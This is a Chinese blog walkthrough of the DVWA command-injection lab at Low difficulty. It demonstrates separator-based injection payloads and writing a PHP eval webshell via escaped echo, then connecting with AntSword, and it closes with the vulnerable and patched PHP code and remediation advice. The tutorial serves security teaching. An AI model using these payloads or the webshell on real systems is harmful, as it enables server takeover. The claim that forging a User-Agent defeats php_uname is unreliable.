在打靶之前我们需要先解决一个乱码问题
参考我之前的博客:
关于DVWA靶场Command Injection(命令注入)乱码的解决方案-CSDN博客
简单介绍一下命令执行漏洞:
命令执行漏洞是一种常见的网络安全漏洞,它允许攻击者通过向应用程序发送恶意输入,执行任意系统命令或者其他恶意操作。这种漏洞通常存在于允许用户输入命令并将其传递给操作系统执行的应用程序中,比如Web应用程序中的表单、URL参数或者其他用户输入的地方。攻击者利用这种漏洞可以执行以下操作:
远程命令执行(RCE):攻击者可以通过发送特定的恶意输入,使目标应用程序执行远程服务器上的任意命令。这可能导致服务器被完全接管,或者在服务器上执行潜在破坏性的操作。
本地命令执行:攻击者可以在受影响的应用程序上执行本地系统命令,这可能导致攻击者获取敏感信息、修改系统配置或者执行其他恶意操作。
Shell注入:攻击者通过注入恶意命令到受影响应用程序的命令行或者Shell环境中,从而执行未经授权的操作。
提权攻击:通过执行恶意命令,攻击者可以利用漏洞提升其在系统中的权限,从而获取更大的访问权限。
总的来说就是服务端没有对执行函数做严格过滤,导致我们可以插入恶意的命令并被执行。
我们还是先从最简单的开始,将难度等级设置为 Low
来到命令注入关卡,要求我们输入一个 ip 地址
这里输入本地回环地址进行测试,即 127.0.0.1
顺便给大家介绍一下这个回环地址:
本地回环地址(127.0.0.1)是指计算机网络中的一个特殊地址,代表设备的本地虚拟接口,不会受网络情况的变化而变化。它用于在同一台计算机内部进行通信,而不需要经过物理网络硬件,因此被默认视为永远不会宕掉的接口。实际上,除了 127.0.0.1 外,范围在127.0.0.2 到 127.255.255.254 之间的地址也是本地回环地址,可以用于同样的目的。
本地回环地址的作用包括:
1、测试本机的网络配置:通过向 127.0.0.1 发送数据包,可以验证本机的 IP 协议安装是否正常。
2、代替 localhost :在操作系统的配置文件中,通常将 localhost(本地主机名)与 127.0.0.1 绑定在一起,这样在应用程序中使用 localhost 时,实际上是在使用本地回环地址,用于访问本机上运行的网络服务和应用程序。
可以看到这里执行了 ping 127.0.0.1 的命令
这个就和我们在终端执行 ping 命令是一样的,回显如下图:
至此我们可以大致判断这个页面的功能就是对我们输入的 ip 地址执行 ping 命令
但是我们是 hacker ,怎么能只限于执行一个 ping 命令呢
那么我们尝试一下是否还能执行其他命令
在此之前我们需要知道命令执行漏洞的原理:
在操作系统中,“ &、|、&&、|| ” 都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
上述的 “ & ” 和 “ | ” 都叫做命令执行分隔符,在 Linux 系统下,命令执行分隔符还包括 “ ; ”
即命令执行分隔符有:
windows: && || & |
linux: && || & | ;
顺便再说一下命令执行相关的函数,主要有:
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()
本质就是命令执行函数将参数以 dos 、shell 执行
铺垫了这么多基础知识,我们直接上 payload:
在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami
127.0.0.1&whoami
可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:
如果这个看着不明显,那么我们执行一下其他命令试试,比如 ipconfig
(因为我这里的靶场是使用 Windows 系统搭建的,如果搭建在 Linux 环境下,则使用 ifconfig)
127.0.0.1&ipconfig
这次看着就很明显了吧,确实存在命令执行漏洞
关于不同 payload 的测试:
127.0.0.1&&ipconfig
与一个 & 的执行结果一样 (注意这是基于第一个为真的条件)
我们再看这个,ping myon 肯定为假
myon&&ipconfig
由结果可以得出:当第一个命令执行失败(为假)
那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)
我们再测试一个与
myon&ipconfig
可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)
前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行
接下来我们测试或(||、|)
127.0.0.1|ipconfig
myon|ipconfig
对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令
127.0.0.1||ipconfig
对于两个或,前面为真,只执行前面的,后面命令没有执行
myon||ipconfig
若前面为假, 执行后面的,第二个命令被执行
对于 Linux 系统搭建的靶场,管道符效果同上
这里补充分号(;)
127.0.0.1;ifconfig;cd ../../;ls;whoami等等
按顺序依次执行,分号前的命令执行完继续执行分号后的命令
因为我这里靶场是使用 Windows 系统搭建的因此无法使用分号来堆叠命令
最后我们尝试写入木马后门
首先使用 dir 命令查看当前目录下的文件
这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令
|dir
可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件
我们尝试写入一个名为 shell.php 的一句话木马文件
这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入
因此我们换用与(&)即可
注意:在Windows系统下,尖括号 >
被用于输出重定向,因此如果直接在命令行中写入包含 >
的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。
我们需要使用 ^ 符号进行转义
构造 payload :
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php
如果是写入当前目录下,也可以直接跟文件名即可
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > shell.php
对于 Linux 系统则使用反斜杠 \ 进行转义
webshell 后门写入成功
写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可。
查看木马内容
尝试进行调用 shell.php
system 函数执行成功,回显存在一定乱码,但是可以看到文件名
我们使用蚁剑进行连接
测试连接成功
添加后进入
直接拿下整个网站后台
最后我们简单看一下题目源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
主要存在的问题:
未对用户输入进行验证和过滤:代码中直接使用
$_REQUEST['ip']
获取用户输入的 IP 地址,并没有对用户输入进行验证和过滤,这可能导致命令注入漏洞。攻击者可以通过输入恶意命令来执行任意系统命令,从而对服务器造成严重威胁。未使用安全的命令执行函数:代码中使用了
shell_exec()
函数来执行系统命令,这是一个可执行命令的函数,存在安全风险。如果用户能够控制输入并输入恶意命令,就可能导致命令执行漏洞。未对操作系统类型进行验证:代码中使用了
php_uname('s')
函数来确定操作系统类型,然后根据操作系统类型来选择执行的命令。但是这种方式并不可靠,攻击者可以伪造 HTTP 请求来改变User-Agent
,从而绕过这种检测机制。
修复加固后的代码:
<?php
if (isset($_POST['Submit'])) {
// Get input
$target = $_POST['ip'];
// Validate user input to ensure it is a valid IP address
if (filter_var($target, FILTER_VALIDATE_IP)) {
// Determine OS and execute the ping command
if (stristr(php_uname('s'), 'Windows NT')) {
// Windows
$cmd = shell_exec('ping ' . escapeshellarg($target));
} else {
// *nix
$cmd = shell_exec('ping -c 4 ' . escapeshellarg($target));
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
} else {
// Invalid input, display error message
echo "Invalid IP address";
}
}
?>
使用
filter_var()
函数验证用户输入的 IP 地址,确保其是一个有效的 IP 地址。使用
escapeshellarg()
函数对用户输入进行转义,以防止命令注入。在命令执行前对用户输入进行验证,如果用户输入不是有效的 IP 地址,则显示错误消息。
对于命令执行漏洞的通用修复建议:
输入验证和过滤:严格验证和过滤所有用户输入,确保只接受预期的输入格式,拒绝所有非法字符和特殊字符。
避免使用可执行命令的函数:尽可能避免使用能够执行系统命令的函数,如
exec()
、system()
、shell_exec()
等,而是使用更安全的替代方案,如专门的库或内置函数。最小权限原则:确保应用程序以最低权限来执行系统命令,避免使用过高的权限。限制应用程序的操作范围,仅提供必要的权限。
安全配置:对服务器和应用程序进行安全配置,关闭不必要的服务和功能,限制可执行命令的范围。确保操作系统和软件都及时更新,以修复已知的安全漏洞。
安全编程实践:在编写代码时,采用安全编程实践,如对用户输入进行验证、过滤和转义,不信任用户输入,避免硬编码敏感信息等。
输入输出分离:确保用户输入和系统命令之间有明确的分界线,不要将用户输入直接作为系统命令的一部分。
安全框架和工具:使用安全性较高的编程语言、框架和工具来开发应用程序,这些工具可能提供了内置的安全机制,能够有效地防止命令执行漏洞。
安全审计和漏洞扫描:定期进行安全审计和漏洞扫描,及时发现并修复潜在的安全漏洞。
本篇博客我只是以 Low 难度的为例,但其实我们已经讲到了其他难度的知识,我认为还是讲得很详细的,下篇博客我们继续进行 middle 和 high 难度的讲解演示与补充。
创作不易,期待大家的关注与支持!